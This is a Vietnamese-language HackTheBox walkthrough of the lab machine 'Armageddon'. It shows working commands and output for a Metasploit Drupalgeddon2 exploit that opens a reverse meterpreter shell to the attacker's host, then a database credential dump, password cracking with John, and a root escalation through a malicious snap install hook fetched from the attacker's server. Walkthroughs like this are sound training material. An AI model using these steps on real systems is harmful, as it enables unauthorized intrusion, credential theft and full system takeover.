---
# System prepended metadata

title: Armageddon
tags: [HackTheBox, Linux, Machine]

---

![image](https://hackmd.io/_uploads/HytnIBYFC.png)

# Machine info and Comment
## Machine info
[Link](https://app.hackthebox.com/machines/323/information)

## Comment
Máy này dẫn đến việc khai thác lỗ hổng trên web có cms cho phép leo thang đặc quyền, chèn SQL và cuối cùng là thực thi mã từ xa.

# Recon
## nmap 
Sau khi nmap ta thấy nó scan được **2** port ssh và http 
```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -n -sS 10.10.10.233
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 00:49 EDT
Nmap scan report for 10.10.10.233
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.78 seconds
```
Từ đây, ta sẽ scan tiếp 2 port này xem có gì để khai thác

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p22,80 -sCV 10.10.10.233

[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 01:47 EDT
Nmap scan report for 10.10.10.233
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
```
Dựa vào các thông tin trên ta có web sử dụng CMS **Durpal 7**, OS Centos,  (Có thể thấy trên Wappalyzer) và có cả `robots.txt` để lấy thêm thông tin

![image](https://hackmd.io/_uploads/ryUD4gqFA.png)

## OSINT
Google cũng cho ta nhiều thông tin về việc khai thác. Tuy nhiên thì vẫn phải cần phiên bản chính xác thì việc khai thác mới thành công

![image](https://hackmd.io/_uploads/SkXBIe5tA.png)

![image](https://hackmd.io/_uploads/rJv9Ig5F0.png)

```
┌──(kali㉿kali)-[~]
└─$ curl -s http://10.10.10.233/CHANGELOG.txt | grep -m2 ""

Drupal 7.56, 2017-06-21

```
Việc này có thể thấy tương tự trên `robots.txt` 

![image](https://hackmd.io/_uploads/SkF6Hx9FA.png)

Các bước khai thác thành công có thể sẽ yêu cầu một số điều kiện có trong các tính năng của web như credential, file path,.. nên ta sẽ kiểm tra xem nó bao gồm những gì. Nó có các chức năng create account, login và reset password. 2 tính năng create và reset khả năng là không dùng được vì nó liên tục báo lỗi email

![image](https://hackmd.io/_uploads/ByBcwlqFR.png)

Quay lại tìm xem phiên bản Drupal 7.56 có dễ bị khai thác không 

![image](https://hackmd.io/_uploads/S11Ete5FR.png)

Ta tìm được loại khai thác này tên là **Drupalgeddon2**. Việc khai thác lỗ hổng cho phép **leo quyền**, **chèn SQL** và cuối cùng là **RCE**

![image](https://hackmd.io/_uploads/S1YZsecYR.png)

![image](https://hackmd.io/_uploads/SJvDogcF0.png)

# User flag 
## Metasploit
![image](https://hackmd.io/_uploads/ryj2ox9YR.png)

Set local và target IP theo các `options` yêu cầu
```
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-m
                                           etasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.190.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 10.10.14.93
lhost => 10.10.14.93
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 10.10.10.233
rhosts => 10.10.10.233
```
`run` để bắt đầu chạy khai thác
```
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.93:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 10.10.10.233
[*] Meterpreter session 2 opened (10.10.14.93:4444 -> 10.10.10.233:45174) at 2024-08-02 01:28:16 -0400

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > shell
Process 13145 created.
Channel 0 created.
whoami
apache
```
Ta có được máy chủ web đang chạy với người dùng **apache**

## CVE-2018-7600
https://cystack.net/research/drupalgeddon2
https://tsublogs.wordpress.com/2019/01/27/phan-tich-cve-2018-7600/

## MySQL
Sau khi tìm không thấy user flag ở đây ta tiếp tục tìm xem có tài khoản của người dùng khác hay không bằng `/etc/passwd`

![image](https://hackmd.io/_uploads/Bk2ubbcFA.png)

Việc sử dụng `sudo -l` và lệnh `find` để leo quyền đọc `/etc/shadow` hay leo thẳng root đều không có nên ta sẽ làm cách khác mà lỗ hổng này có chính là **SQL**

![image](https://hackmd.io/_uploads/B1u_zZqtA.png)

Có được Mysql ta tìm file [config](https://www.drupal.org/forum/support/post-installation/2009-01-14/mysql-password-location)

![image](https://hackmd.io/_uploads/HklG7-cFR.png)

![image](https://hackmd.io/_uploads/ByWQQW5K0.png)

`cat settings.php` là ta có credential truy cập vào db với username:password là drupaluser:**CQHEy@9M*m23gBVj**

![image](https://hackmd.io/_uploads/B1abLW9tC.png)

```
meterpreter > shell
Process 14815 created.
Channel 5 created.

mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'show tables;'
Tables_in_drupal
actions
authmap
batch
block
<SNIP>
users
users_roles
variable
watchdog
```
Ta chú ý có bảng **users**. Truy vấn vào bảng này để xem có password hay không

```
mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'show tables; SELECT id, username, email FROM users;'

uid     name    pass    mail    theme   signature       signature_format        created access  login   status       timezone        language        picture init    data
0                                               NULL    0       0       0       0       NULL            0   NULL
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html    1606998756      1607077194      1607076276      1       Europe/London           0       admin@armageddon.eu  a:1:{s:7:"overlay";i:1;}
3       ad      $S$DqCOt0QnQQESyRzCEuQdIW8rSn65iusmL0KF8nwYixztvG76EXXT ad@gmail.com                    filtered_html        1722578784      0       0       0       Europe/London           0       ad@gmail.com    NULL
```
Vậy là table này có chứa credential của `brucetherealadmin` và có cả tài khoản của ta khi test

## JohnTheRipper
Sử dụng John để crack password
```
┌──(kali㉿kali)-[~]
└─$ echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash
                                                                                                             
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash                
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (?)     
1g 0:00:00:00 DONE (2024-08-02 03:18) 1.515g/s 351.5p/s 351.5c/s 351.5C/s tiffany..harley
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

Login vào web `brucetherealadmin:booboo` nhưng lại không có gì

![image](https://hackmd.io/_uploads/rJUlF-9KC.png)

Bước đầu recon ta còn một service ssh. Tiến hành kết nối ssh 
```
┌──(kali㉿kali)-[~]
└─$ ssh brucetherealadmin@10.10.10.233    
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ED25519) to the list of known hosts.
brucetherealadmin@10.10.10.233's password: 
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
56ddfa6966b8******
```
# Rootflag 
Sử dụng `sudo -l` để liệt kê các quyền sudo mà người dùng hiện tại có trên hệ thống. 
```
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
```
Trong [gtfobins](https://gtfobins.github.io/gtfobins/snap/#sudo) ta sẽ có script để leo quyền

![image](https://hackmd.io/_uploads/BJDpKM9K0.png)
Theo script chạy, snap có thể truy cập vào máy chủ khi chạy ở chế độ gọi là `--devmode`. Ngoài ra, snap sử dụng các `--hook` và cụ thể là ghi lại toàn bộ  cài đặt đang chạy trong quá trình cài đặt. Điều đó có nghĩa là nếu `--devmode` được chỉ định, thì hook này sẽ được chạy tại thời điểm cài đặt, cấp quyền truy cập vào máy chủ và vì chúng ta có thể thực thi lệnh này với tư cách là root, thì mã sẽ được thực thi trong quá trình cài đặt
## Máy tấn công
```
COMMAND='cat /root/root.txt'
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```
Sau khi tạo xong, ta sẽ tạo server để máy kia nhận file về
```
┌──(kali㉿kali)-[/tmp/tmp.iowiQJMSWW]
└─$ python3 -m http.server 8888                                 
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

```
## Máy mục tiêu
```
[brucetherealadmin@armageddon ~]$ which curl
/usr/bin/curl

[brucetherealadmin@armageddon ~]$ curl http://10.10.14.93:8888/xxxx_1.0_all.snap -o xxxx_1.0_all.snap
```
## Get flag
Hoàn thành tải file về máy mục tiêu, sử dụng lệnh cuối để lấy được flag 
```
[brucetherealadmin@armageddon ~]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
Run install hook of "xxxx" snap if present                                                                    |error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": 2a2785a9a*******)
```

![image](https://hackmd.io/_uploads/HyPdtM9FR.png)
